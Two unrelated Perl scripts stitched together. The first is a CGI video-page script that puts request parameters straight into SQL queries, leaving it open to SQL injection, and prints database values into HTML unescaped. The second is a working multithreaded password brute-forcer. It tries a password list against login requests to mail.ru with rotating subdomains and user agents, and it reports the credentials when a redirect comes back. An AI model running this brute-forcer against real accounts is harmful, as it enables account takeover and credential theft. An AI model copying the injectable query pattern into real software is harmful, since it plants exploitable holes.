#!"D:\perl\bin\perl.exe"   
use DBI;
use CGI qw/:standard/; use CGI qw(param); 
use CGI::Carp qw(fatalsToBrowser); 
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr; 
print "Content-Type: text/html\n\n"; 
my $view=param('id'); my $video=param('v'); 
my $title=param('t'); 
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'"); 
$result->execute(); 
$result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'"); 
$result2->execute(); 
$result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'"); 
$result3->execute(); 
my $result_file = $result->fetchrow_hashref(); 
my $result_video = $result2->fetchrow_hashref(); 
my $result_title = $result3->fetchrow_hashref(); 
print "<center>$result_video->{video_id}</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
</script>   
<div id='mediaspace'>This text will be replaced</div>   
<script type='text/javascript'>   
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')   
so.addParam('allowfullscreen','true')   
so.addParam('allowscriptaccess','always')   
so.addParam('wmode','opaque')   
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')   
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')   
so.write('mediaspace') 
</script> 
</center>"; 
print "краткое описание $result_title->{title_id}";
$dbh->disconnect();

#!/usr/bin/perl -W

use IO::Socket; 
use MD5; 
use threads; 
use threads::shared; 
my @pass : shared; 
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков 
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');

open (pass1, "<$dic"); 

@pass = pass(); 

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} 
for(@trl) { $_->join; } 

sub Brut 
{ 

while (@pass){ 

$pass = shift @pass; 

my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". 
"Host: ".$prefix.".mail.ru\r\n". 
"Accept: */*\r\n". 
"Content-Type: application/x-www-form-urlencoded\r\n". 
"User-Agent: ".$agents[$random]."\r\n". 
"Connection: close\r\n\r\n"; 
$answ = <$sock>; 
close $sock; 
print "$pass $answ"; 
if ($answ =~ /302/){ 
print "$login : $pass\n"; 
exit;} 
} 

} 


sub pass 
{ 
my (@mas); 
while (<pass1>){ 
push @mas, $_; 
} 
chomp @mas; 
close pass1;
return @mas; 
}